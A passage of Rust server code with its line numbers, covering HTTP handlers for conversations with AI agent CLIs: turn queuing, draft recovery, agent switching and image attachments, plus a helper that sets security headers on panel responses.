5269/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5270/// model gone, silently, on one of two routes. Adding a third panel route later
5271/// means calling this, and there is nowhere else to build a panel response.
5272///
5273/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5274/// as an `<img src>` inside the panel that script cannot run - but the asset
5275/// URL is also a plain URL an operator can be talked into opening in a tab,
5276/// where it is a document on magi's own origin. `Content-Disposition:
5277/// attachment` makes the browser download it instead of rendering it, which
5278/// closes that door without taking away the ability to draw a diff. Raster
5279/// images have no such execution surface and are left inline, so tapping a
5280/// screenshot still shows it.
5281fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5282    let mut res = (
5283        [
5284            (header::CONTENT_TYPE, content_type),
5285            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5286            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5287            (header::REFERRER_POLICY, "no-referrer"),
5288        ],
5289        body,
5290    )
5291        .into_response();
5292    if download {
5293        res.headers_mut().insert(
5294            header::CONTENT_DISPOSITION,
5295            HeaderValue::from_static("attachment"),
5296        );
5297    }
5298    res
5299}
5300
5301/// A talk as the phone reads it.
5302///
5303/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5304/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5305/// parses markdown itself - and the process-local `thinking` hint.
5306#[derive(Debug, Serialize)]
5307struct TalkView {
5308    #[serde(flatten)]
5309    talk: Talk,
5310    turn_bodies_md: Vec<Vec<md::Node>>,
5311    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5312    /// this server process.
5313    ///
5314    /// This is deliberately not durable: another server process cannot see
5315    /// it, and a restarted server must not claim an old turn is live. It is a
5316    /// progress hint rather than proof a reply landed; the transcript remains
5317    /// the source of truth for that.
5318    thinking: bool,
5319    /// Context-window usage, derived per request - see
5320    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5321    /// and each mutation) so the phone needs no extra call or polling.
5322    context: talk::ContextUsage,
5323}
5324
5325impl TalkView {
5326    /// Reads the talk's repository config itself; a config that cannot be
5327    /// read leaves the window unknown but never fails the conversation.
5328    fn new(talk: Talk, thinking: bool) -> Self {
5329        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5330        Self::with_config(talk, thinking, cfg.as_ref())
5331    }
5332
5333    /// As [`Self::new`], with the config already in hand (the list reads one
5334    /// per repository, not one per conversation).
5335    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5336        let context = talk::context_usage(&talk, cfg);
5337        let turn_bodies_md = talk
5338            .turns
5339            .iter()
5340            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5341            .collect();
5342        Self {
5343            turn_bodies_md,
5344            thinking,
5345            context,
5346            talk,
5347        }
5348    }
5349}
5350
5351/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
5352/// conversation has filed, so the phone can follow one from inside the
5353/// conversation that asked for it rather than hunting the Queue for a task id
5354/// it may not remember.
5355#[derive(Debug, Serialize)]
5356struct TalkDetailView {
5357    #[serde(flatten)]
5358    view: TalkView,
5359    tasks: Vec<TaskView>,
5360    /// The agents this talk's repository can switch to; empty when its
5361    /// configuration cannot be read, which must not fail the whole detail.
5362    roster: Vec<RosterEntry>,
5363}
5364
5365/// One roster agent as the talk's agent selector shows it.
5366#[derive(Debug, Serialize)]
5367struct RosterEntry {
5368    id: String,
5369    kind: AgentKind,
5370    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
5371    runnable: bool,
5372}
5373
5374/// `GET /api/talks`.
5375///
5376/// Every conversation, open ones first and newest first - [`Talks::list`]'s
5377/// own order.
5378async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5379    blocking(move || {
5380        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5381        Ok(Json(
5382            ui.talks
5383                .list()
5384                .into_iter()
5385                .map(|talk| {
5386                    let thinking = ui.is_thinking(&talk.id);
5387                    let cfg = configs
5388                        .entry(talk.repo.clone())
5389                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5390                    TalkView::with_config(talk, thinking, cfg.as_ref())
5391                })
5392                .collect(),
5393        ))
5394    })
5395    .await
5396}
5397
5398/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
5399/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
5400/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
5401/// end still opens a talk against an older binary.
5402#[derive(Debug, Default, Deserialize)]
5403#[serde(default)]
5404struct NewTalk {
5405    agent: Option<String>,
5406    repo: Option<PathBuf>,
5407}
5408
5409/// `POST /api/talks` - open a conversation. Takes no agent turn: see
5410/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
5411async fn talk_post(
5412    State(ui): State<Arc<Ui>>,
5413    body: std::result::Result<Json<NewTalk>, JsonRejection>,
5414) -> ApiResult<impl IntoResponse> {
5415    // An absent body, or an empty one, is the normal way to open a talk - see
5416    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
5417    // rather than refused.
5418    let body = match body {
5419        Ok(Json(body)) => body,
5420        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5421        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5422    };
5423    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5424    let cfg = config_for(&repo).await?;
5425    let view = blocking(move || {
5426        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5427        let thinking = ui.is_thinking(&talk.id);
5428        Ok(TalkView::new(talk, thinking))
5429    })
5430    .await?;
5431    Ok((StatusCode::CREATED, Json(view)))
5432}
5433
5434/// `GET /api/talks/{id}`.
5435async fn talk_detail(
5436    State(ui): State<Arc<Ui>>,
5437    Path(id): Path<String>,
5438) -> ApiResult<Json<TalkDetailView>> {
5439    blocking(move || {
5440        let id = resolve_talk(&ui.talks, &id)?;
5441        let talk = ui.talks.get(&id)?;
5442        let thinking = ui.is_thinking(&talk.id);
5443        let tasks = talk::tasks_of(&ui.queue, &talk.id)
5444            .into_iter()
5445            .map(TaskView::from)
5446            .collect();
5447        let roster = Config::discover(&talk.repo, None)
5448            .map(|(cfg, _)| {
5449                cfg.agents
5450                    .iter()
5451                    .map(|a| RosterEntry {
5452                        id: a.id.clone(),
5453                        kind: a.kind,
5454                        runnable: agent::installed(a),
5455                    })
5456                    .collect()
5457            })
5458            .unwrap_or_default();
5459        Ok(Json(TalkDetailView {
5460            view: TalkView::new(talk, thinking),
5461            tasks,
5462            roster,
5463        }))
5464    })
5465    .await
5466}
5467
5468/// The body of `POST /api/talks/{id}/say`.
5469///
5470/// `attachments` names ids `POST /api/talks/{id}/attachments` already
5471/// returned - never bytes of its own - so a turn with no images just omits
5472/// the field, which is what an older front end still does.
5473#[derive(Debug, Default, Deserialize)]
5474#[serde(default, deny_unknown_fields)]
5475struct NewTalkTurn {
5476    text: String,
5477    attachments: Vec<String>,
5478}
5479
5480#[derive(Debug, Deserialize)]
5481#[serde(deny_unknown_fields)]
5482struct EditTalkPending {
5483    text: String,
5484    expected_text: String,
5485    expected_attachments: Vec<String>,
5486}
5487
5488#[derive(Debug, Deserialize)]
5489#[serde(deny_unknown_fields)]
5490struct ClearTalkPending {
5491    expected_text: String,
5492    expected_attachments: Vec<String>,
5493}
5494
5495/// `POST /api/talks/{id}/say` - one turn of the conversation.
5496///
5497/// Not filesystem work, and therefore not routed through [`blocking`]: this
5498/// route spawns an agent CLI and a turn here can run for the whole of
5499/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
5500/// research turn is expected to run commands rather than answer from what it
5501/// already knows. Holding an HTTP connection open that long is not a thing
5502/// to ask a phone to do; the operator's message is recorded and answered for
5503/// immediately, and the reply lands in the background, discovered through
5504/// the change stream's `talks_rev` the same way every other update on this
5505/// surface is.
5506async fn talk_say(
5507    State(ui): State<Arc<Ui>>,
5508    Path(id): Path<String>,
5509    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5510) -> ApiResult<(StatusCode, Json<TalkView>)> {
5511    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5512    if body.text.trim().is_empty() && body.attachments.is_empty() {
5513        return Err(ApiError::bad_request("say something"));
5514    }
5515
5516    let id = {
5517        let ui = Arc::clone(&ui);
5518        let asked = id.clone();
5519        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5520    };
5521    // A closed Talk never accepts a new immediate or queued turn. Check this
5522    // before claiming a slot so its ordinary domain refusal is a 409, not an
5523    // incidental failure from the later record/queue write.
5524    {
5525        let ui = Arc::clone(&ui);
5526        let id = id.clone();
5527        blocking(move || {
5528            let talk = ui.talks.get(&id)?;
5529            if !talk.status.open() {
5530                return Err(ApiError::conflict(format!(
5531                    "talk {} is {} and takes no more turns",
5532                    talk.short(),
5533                    talk.status.as_str()
5534                )));
5535            }
5536            Ok(())
5537        })
5538        .await?;
5539    }
5540
5541    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
5542    // actually stores, before anything is written - an unknown id is a 4xx
5543    // that names it rather than a turn (or a queued draft) silently missing
5544    // an image.
5545    let attachments = {
5546        let ui = Arc::clone(&ui);
5547        let id = id.clone();
5548        let ids = body.attachments.clone();
5549        blocking(move || {
5550            ids.into_iter()
5551                .map(|att_id| {
5552                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5553                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5554                    })
5555                })
5556                .collect::<ApiResult<Vec<talk::Attachment>>>()
5557        })
5558        .await?
5559    };
5560
5561    // Pending recovery and a new immediate turn are decided under the same
5562    // claim lock. Without that one critical section, a second `/say` can see
5563    // the first request's claim as "busy" and append itself to the recovered
5564    // draft before the first request rejects it.
5565    let start = {
5566        let ui = Arc::clone(&ui);
5567        let id = id.clone();
5568        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5569    };
5570    let turn_guard = match start {
5571        TalkTurnStart::Claimed(turn_guard) => turn_guard,
5572        TalkTurnStart::Pending => {
5573            return Err(ApiError::conflict(
5574                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5575            ));
5576        }
5577        TalkTurnStart::Busy => {
5578            // A turn is already running: queue rather than refuse. See
5579            // `Ui::begin_talk_turn` and `talk::queue`.
5580            //
5581            // The queue write and the drain it may owe live inside the task
5582            // `tokio::spawn` hands to the runtime, for the same reason the
5583            // immediate path below puts `record` there: a dropped handler
5584            // future must not be able to land between a durable write and
5585            // the task that answers it. `blocking` runs its closure on
5586            // `spawn_blocking`, which finishes whether or not anyone is left
5587            // to receive its result - so a disconnect at the `.await` below
5588            // would otherwise leave the draft persisted and the reclaimed
5589            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
5590            // ever started and the queued text stranded until some later
5591            // `say` happened to pick it up. The caller's 202 travels back
5592            // over a `oneshot`, sent the moment the write lands.
5593            let (tx, rx) = tokio::sync::oneshot::channel();
5594            tokio::spawn({
5595                let ui = Arc::clone(&ui);
5596                let id = id.clone();
5597                let said = body.text.clone();
5598                async move {
5599                    let written = blocking({
5600                        let ui = Arc::clone(&ui);
5601                        let id = id.clone();
5602                        move || {
5603                            let mut talk = ui.talks.get(&id)?;
5604                            // A test-only stop point, right before the write
5605                            // an interleaving test needs to pin - see
5606                            // `BusyQueueGate`. `None` in every real server:
5607                            // the field only exists under `#[cfg(test)]`.
5608                            #[cfg(test)]
5609                            if let Some(gate) = ui
5610                                .busy_queue_gate
5611                                .lock()
5612                                .unwrap_or_else(PoisonError::into_inner)
5613                                .take()
5614                            {
5615                                let _ = gate.reached.send(());
5616                                let _ = gate.release.recv();
5617                            }
5618                            if let Err(error) =
5619                                talk::queue(&mut talk, &ui.talks, &said, attachments)
5620                            {
5621                                if let Ok(fresh) = ui.talks.get(&id) {
5622                                    if !fresh.status.open() {
5623                                        return Err(ApiError::conflict(format!(
5624                                            "talk {} is {} and takes no more turns",
5625                                            fresh.short(),
5626                                            fresh.status.as_str()
5627                                        )));
5628                                    }
5629                                }
5630                                return Err(ApiError::from(error));
5631                            }
5632                            // The turn that looked busy a moment ago can have
5633                            // finished, found nothing to drain and given up the
5634                            // slot in the gap between that check and this write
5635                            // landing - see `drain_loop`'s own doc for the other
5636                            // half of why that gap would otherwise be able to
5637                            // open at all. Reclaiming the slot here, rather than
5638                            // trusting that whoever held it is still watching, is
5639                            // what stops the text just queued from being stranded
5640                            // until an unrelated future `say` happens to drain
5641                            // it.
5642                            let claim = match ui.begin_queued_talk_turn(&id)? {
5643                                Some(turn_guard) => {
5644                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5645                                    Some((talk.clone(), cfg, turn_guard))
5646                                }
5647                                None => None,
5648                            };
5649                            let thinking = ui.is_thinking(&id);
5650                            Ok((TalkView::new(talk, thinking), claim))
5651                        }
5652                    })
5653                    .await;
5654                    let (view, reclaimed) = match written {
5655                        Ok(pair) => pair,
5656                        Err(e) => {
5657                            // Nobody is listening if the handler's own future
5658                            // was already dropped - that is fine, nothing was
5659                            // persisted and there is no response left to carry
5660                            // this error to.
5661                            let _ = tx.send(Err(e));
5662                            return;
5663                        }
5664                    };
5665                    // If this fails, the caller is gone; the drain below still
5666                    // runs exactly as it would have for a caller that stayed.
5667                    let _ = tx.send(Ok(view));
5668                    if let Some((talk, cfg, turn_guard)) = reclaimed {
5669                        let talks = ui.talks.clone();
5670                        drain_loop(talk, talks, cfg, id, turn_guard).await;
5671                    }
5672                }
5673            });
5674            let view = rx
5675                .await
5676                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5677            return Ok((StatusCode::ACCEPTED, Json(view)));
5678        }
5679    };
5680
5681    let (talk, cfg) = {
5682        let ui = Arc::clone(&ui);
5683        let id = id.clone();
5684        blocking(move || {
5685            let talk = ui.talks.get(&id)?;
5686            let (cfg, _) = Config::discover(&talk.repo, None)?;
5687            Ok((talk, cfg))
5688        })
5689        .await?
5690    };
5691
5692    let talks = ui.talks.clone();
5693    // `record` runs *inside* the spawned task, rather than in this handler
5694    // followed by a separate `tokio::spawn` for `respond` - axum drops this
5695    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
5696    // doc), and that drop can land at any `.await` this function makes,
5697    // including one that has already produced its result but not yet
5698    // resumed. A message could end up recorded on disk with the handler
5699    // future gone before it ever reached the `tokio::spawn` that would have
5700    // started the reply. `tokio::spawn` itself is a plain, synchronous call
5701    // that hands the whole future to the runtime as one unit - once made, no
5702    // later drop of *this* handler's own future (that call's return value is
5703    // never held onto here) can reach back in and stop it, so record and the
5704    // hand-off to `respond` are unconditionally atomic from the client's
5705    // point of view. The immediate response this handler owes the caller
5706    // travels back over a `oneshot`, sent the moment `record` succeeds.
5707    let (tx, rx) = tokio::sync::oneshot::channel();
5708    tokio::spawn({
5709        let ui = Arc::clone(&ui);
5710        let talks = talks.clone();
5711        let id = id.clone();
5712        let said = body.text.clone();
5713        let mut talk = talk.clone();
5714        async move {
5715            let recorded = blocking({
5716                let talks = talks.clone();
5717                move || {
5718                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5719                        if let Ok(fresh) = talks.get(&talk.id) {
5720                            if !fresh.status.open() {
5721                                return Err(ApiError::conflict(format!(
5722                                    "talk {} is {} and takes no more turns",
5723                                    fresh.short(),
5724                                    fresh.status.as_str()
5725                                )));
5726                            }
5727                        }
5728                        return Err(ApiError::from(error));
5729                    }
5730                    // `record` mutates `talk` in place to the freshly persisted
5731                    // state (status, pending, and the just-appended operator
5732                    // turn), so returning it here is equivalent to re-reading it
5733                    // from disk - without the extra round trip a re-read would
5734                    // need.
5735                    Ok((said.trim().to_owned(), talk))
5736                }
5737            })
5738            .await;
5739            let (text, mut talk) = match recorded {
5740                Ok(pair) => pair,
5741                Err(e) => {
5742                    // Nobody is listening if the handler's own future was
5743                    // already dropped - that is fine, there is no response
5744                    // left to carry this error to and nothing was persisted.
5745                    let _ = tx.send(Err(e));
5746                    return;
5747                }
5748            };
5749            let queued = talk.clone();
5750            let thinking = ui.is_thinking(&id);
5751            // If this fails, the caller is gone; the turn still runs below
5752            // exactly as it would have for a caller that stayed connected.
5753            let _ = tx.send(Ok((queued, thinking)));
5754
5755            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5756                // `respond` records the failure in the transcript itself,
5757                // which is what the phone reads; this line is for the
5758                // operator's terminal.
5759                tracing::warn!("talk {id} turn failed: {e:#}");
5760            }
5761            // Anything `talk::queue` added while the turn above was running
5762            // is still owed an answer - see `drain_loop`.
5763            drain_loop(talk, talks, cfg, id, turn_guard).await;
5764        }
5765    });
5766
5767    let (queued, thinking) = rx
5768        .await
5769        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5770
5771    // 202: the operator's message is recorded and a turn is running.
5772    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5773}
5774
5775/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
5776/// changing it. The turn guard is the same per-talk ownership `talk_say`
5777/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
5778async fn talk_pending_resume(
5779    State(ui): State<Arc<Ui>>,
5780    Path(id): Path<String>,
5781) -> ApiResult<(StatusCode, Json<TalkView>)> {
5782    let id = {
5783        let ui = Arc::clone(&ui);
5784        let asked = id.clone();
5785        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5786    };
5787    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5788        return Err(ApiError::conflict(
5789            "a talk turn is already running; the queued draft will be handled by it",
5790        ));
5791    };
5792    let (talk, cfg) = {
5793        let ui = Arc::clone(&ui);
5794        let id = id.clone();
5795        blocking(move || {
5796            let talk = ui.talks.get(&id)?;
5797            if !talk.status.open() {
5798                return Err(ApiError::conflict(format!(
5799                    "talk {} is {} and takes no more turns",
5800                    talk.short(),
5801                    talk.status.as_str()
5802                )));
5803            }
5804            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5805                return Err(ApiError::conflict("there is no queued draft to resume"));
5806            }
5807            let (cfg, _) = Config::discover(&talk.repo, None)?;
5808            Ok((talk, cfg))
5809        })
5810        .await?
5811    };
5812    let view = TalkView::new(talk.clone(), true);
5813    let talks = ui.talks.clone();
5814    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5815    Ok((StatusCode::ACCEPTED, Json(view)))
5816}
5817
5818/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
5819/// releasing `turn` only once a check finds it truly empty. Shared by both
5820/// callers that can end up owning a talk's turn slot with something already
5821/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
5822/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
5823/// holder just gave up - see the comment at that call site.
5824///
5825/// The release is folded into the final generation check under `turn`'s own
5826/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
5827/// free". Before its blocking `talk::drain`, this loop observes the queued
5828/// generation. A `say` that sees the turn busy writes its draft, then advances
5829/// that generation. Thus, if it lands while the drain is in flight, the final
5830/// check observes the advance and drains again; otherwise it releases the
5831/// claim while holding the same lock. This keeps the release/arrival handoff
5832/// atomic without holding the global claim mutex across filesystem I/O.
5833async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5834    let live_set = Arc::clone(&turn.turns);
5835    // `Option` rather than binding `turn` directly to a `_turn` that lives
5836    // for the whole function: releasing it has to happen by calling
5837    // `TalkTurnGuard::release` from inside the locked branch below, which
5838    // takes `self` by value. Left as a plain drop instead, `Drop` would still
5839    // remove the id - correctly, if this loop is ever left some other way -
5840    // but doing it there misses the lock this loop is already holding, which
5841    // is the exact gap `release` exists to close.
5842    let mut turn = Some(turn);
5843    loop {
5844        // `talk::drain` takes the store lock and can write/rename the talk
5845        // file. Keep the turn mutex out of that synchronous work: it protects
5846        // every talk's in-memory claim, not this talk's disk operation.
5847        let observed = live_set
5848            .lock()
5849            .unwrap_or_else(PoisonError::into_inner)
5850            .queued
5851            .get(&id)
5852            .copied()
5853            .unwrap_or(0);
5854        let drained = blocking({
5855            let talks = talks.clone();
5856            move || {
5857                let result = talk::drain(&mut talk, &talks);
5858                Ok((talk, result))
5859            }
5860        })
5861        .await;
5862        let (next_talk, result) = match drained {
5863            Ok(drained) => drained,
5864            Err(e) => {
5865                tracing::warn!(
5866                    status = %e.status,
5867                    message = %e.message,
5868                    "talk {id} could not start queued-text drain"
5869                );
5870                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5871                turn.take()
5872                    .expect("held for the whole loop until released here")
5873                    .release(&mut live);
5874                break;
5875            }
5876        };
5877        talk = next_talk;
5878        let drained = match result {
5879            Ok(Some(drained)) => drained,
5880            Ok(None) => {
5881                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5882                if live.queued.get(&id).copied().unwrap_or(0) != observed {
5883                    continue;
5884                }
5885                turn.take()
5886                    .expect("held for the whole loop until released here")
5887                    .release(&mut live);
5888                break;
5889            }
5890            Err(e) => {
5891                tracing::warn!("talk {id} could not drain queued text: {e:#}");
5892                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5893                turn.take()
5894                    .expect("held for the whole loop until released here")
5895                    .release(&mut live);
5896                break;
5897            }
5898        };
5899        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5900            tracing::warn!("talk {id} turn failed: {e:#}");
5901        }
5902    }
5903}
5904
5905/// Clear a queued draft only if it remains exactly the one the caller saw.
5906async fn talk_pending_clear(
5907    State(ui): State<Arc<Ui>>,
5908    Path(id): Path<String>,
5909    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5910) -> ApiResult<Json<TalkView>> {
5911    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5912    blocking(move || {
5913        let id = resolve_talk(&ui.talks, &id)?;
5914        let mut talk = ui.talks.get(&id)?;
5915        if !talk.status.open() {
5916            return Err(ApiError::conflict(format!(
5917                "talk {} is {} and takes no more turns",
5918                talk.short(),
5919                talk.status.as_str()
5920            )));
5921        }
5922        if !talk::clear_pending_if_matches(
5923            &mut talk,
5924            &ui.talks,
5925            &body.expected_text,
5926            &body.expected_attachments,
5927        )? {
5928            return Err(ApiError::conflict(
5929                "queued message changed; reload it before clearing",
5930            ));
5931        }
5932        let thinking = ui.is_thinking(&talk.id);
5933        Ok(Json(TalkView::new(talk, thinking)))
5934    })
5935    .await
5936}
5937
5938/// Atomically edit a queued draft's text while preserving its attachments.
5939/// The snapshot fields make a concurrent queue or drain a conflict rather
5940/// than silently discarding either message.
5941async fn talk_pending_edit(
5942    State(ui): State<Arc<Ui>>,
5943    Path(id): Path<String>,
5944    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5945) -> ApiResult<Json<TalkView>> {
5946    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5947    let (view, reclaimed) = blocking({
5948        let ui = Arc::clone(&ui);
5949        move || {
5950            let id = resolve_talk(&ui.talks, &id)?;
5951            let mut talk = ui.talks.get(&id)?;
5952            if !talk.status.open() {
5953                return Err(ApiError::conflict(format!(
5954                    "talk {} is {} and takes no more turns",
5955                    talk.short(),
5956                    talk.status.as_str()
5957                )));
5958            }
5959            if !talk::edit_pending_text(
5960                &mut talk,
5961                &ui.talks,
5962                &body.text,
5963                &body.expected_text,
5964                &body.expected_attachments,
5965            )? {
5966                return Err(ApiError::conflict(
5967                    "queued message changed; reload it before editing",
5968                ));
5969            }
5970            let claim = match ui.begin_queued_talk_turn(&id)? {
5971                Some(turn_guard) => {
5972                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5973                    Some((talk.clone(), cfg, id.clone(), turn_guard))
5974                }
5975                None => None,
5976            };
5977            let thinking = ui.is_thinking(&id);
5978            Ok((TalkView::new(talk, thinking), claim))
5979        }
5980    })
5981    .await?;
5982    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5983        let talks = ui.talks.clone();
5984        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5985    }
5986    Ok(Json(view))
5987}
5988
5989/// The body of `POST /api/talks/{id}/agent`.
5990#[derive(Debug, Deserialize)]
5991struct TalkAgent {
5992    agent: String,
5993}
5994
5995/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
5996/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
5997/// start a turn on the old session between the check and the write; one that
5998/// arrives in that window finds the talk busy and becomes a draft.
5999async fn talk_agent(
6000    State(ui): State<Arc<Ui>>,
6001    Path(id): Path<String>,
6002    Json(body): Json<TalkAgent>,
6003) -> ApiResult<Json<TalkView>> {
6004    let id = {
6005        let ui = Arc::clone(&ui);
6006        blocking(move || resolve_talk(&ui.talks, &id)).await?
6007    };
6008    let repo = {
6009        let ui = Arc::clone(&ui);
6010        let id = id.clone();
6011        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6012    };
6013    let cfg = config_for(&repo).await?;
6014    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6015        return Err(ApiError::conflict(
6016            "a talk turn is running; change the agent once it has answered",
6017        ));
6018    };
6019    let switched = {
6020        let ui = Arc::clone(&ui);
6021        let id = id.clone();
6022        let cfg = cfg.clone();
6023        blocking(move || {
6024            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6025                .map_err(ApiError::bad_request_from)?;
6026            let mut talk = ui.talks.get(&id)?;
6027            if !talk.status.open() {
6028                return Err(ApiError::conflict(format!(
6029                    "talk {} is {} and takes no more turns",
6030                    talk.short(),
6031                    talk.status.as_str()
6032                )));
6033            }
6034            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6035            Ok(talk)
6036        })
6037        .await
6038    };
6039    // A `/say` that landed while this held the claim saw the talk busy and
6040    // left a durable draft, trusting the claim's owner to drain it. So the
6041    // claim goes to `drain_loop` whatever the outcome - it releases at once
6042    // when nothing is queued - rather than being dropped here.
6043    let fresh = {
6044        let ui = Arc::clone(&ui);
6045        let id = id.clone();
6046        blocking(move || Ok(ui.talks.get(&id)?)).await
6047    };
6048    let draining = match fresh {
6049        Ok(talk) => {
6050            let draining = talk.status.open()
6051                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6052            let talks = ui.talks.clone();
6053            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6054            draining
6055        }
6056        Err(_) => false,
6057    };
6058    let talk = switched?;
6059    Ok(Json(TalkView::new(talk, draining)))
6060}
6061
6062/// `POST /api/talks/{id}/close`.
6063async fn talk_close(
6064    State(ui): State<Arc<Ui>>,
6065    Path(id): Path<String>,
6066) -> ApiResult<Json<TalkView>> {
6067    blocking(move || {
6068        let id = resolve_talk(&ui.talks, &id)?;
6069        let mut talk = ui.talks.get(&id)?;
6070        talk::close(&mut talk, &ui.talks)?;
6071        let thinking = ui.is_thinking(&talk.id);
6072        Ok(Json(TalkView::new(talk, thinking)))
6073    })
6074    .await
6075}
6076
6077/// `POST /api/talks/{id}/reopen`.
6078async fn talk_reopen(
6079    State(ui): State<Arc<Ui>>,
6080    Path(id): Path<String>,
6081) -> ApiResult<Json<TalkView>> {
6082    blocking(move || {
6083        let id = resolve_talk(&ui.talks, &id)?;
6084        let mut talk = ui.talks.get(&id)?;
6085        talk::reopen(&mut talk, &ui.talks)?;
6086        let thinking = ui.is_thinking(&talk.id);
6087        Ok(Json(TalkView::new(talk, thinking)))
6088    })
6089    .await
6090}
6091
6092/// `DELETE /api/talks/{id}`.
6093///
6094/// Removes the conversation's record and artifacts outright, unlike
6095/// [`talk_close`] which keeps the record as history. A turn already in
6096/// flight is not refused here the way [`run_delete`] refuses a live run:
6097/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6098/// under [`Talks::guard`], that the record they are about to write back is
6099/// still there, so a delete racing a turn is safe without this route having
6100/// to know a turn is running at all.
6101async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6102    blocking(move || {
6103        let id = resolve_talk(&ui.talks, &id)?;
6104        ui.talks.remove(&id)?;
6105        Ok(StatusCode::NO_CONTENT)
6106    })
6107    .await
6108}
6109
6110/// Expand an id or short id to exactly one talk id.
6111fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6112    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6113}
6114
6115/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6116/// future `talk-say`.
6117async fn talk_attachment_post(
6118    State(ui): State<Arc<Ui>>,
6119    Path(id): Path<String>,
6120    headers: HeaderMap,
6121    body: Bytes,
6122) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6123    let mime = validate_attachment(&headers, &body)?;
6124    let name = filename_header(&headers);
6125    let data = body.to_vec();
6126    blocking(move || {
6127        let id = resolve_talk(&ui.talks, &id)?;
6128        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6129        Ok((StatusCode::CREATED, Json(att)))
6130    })
6131    .await
6132}
6133
6134/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6135/// `<img>` tag in the transcript.
6136async fn talk_attachment_get(
6137    State(ui): State<Arc<Ui>>,
6138    Path((id, att)): Path<(String, String)>,
6139) -> ApiResult<Response> {
6140    blocking(move || {
6141        let id = resolve_talk(&ui.talks, &id)?;
6142        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6143            return Err(ApiError::not_found(format!(
6144                "talk {id} has no attachment `{att}`"
6145            )));
6146        };
6147        Ok(attachment_response(&meta.mime, data))
6148    })
6149    .await
6150}
6151
6152/// Validate an attachment upload's declared `Content-Type` and the bytes
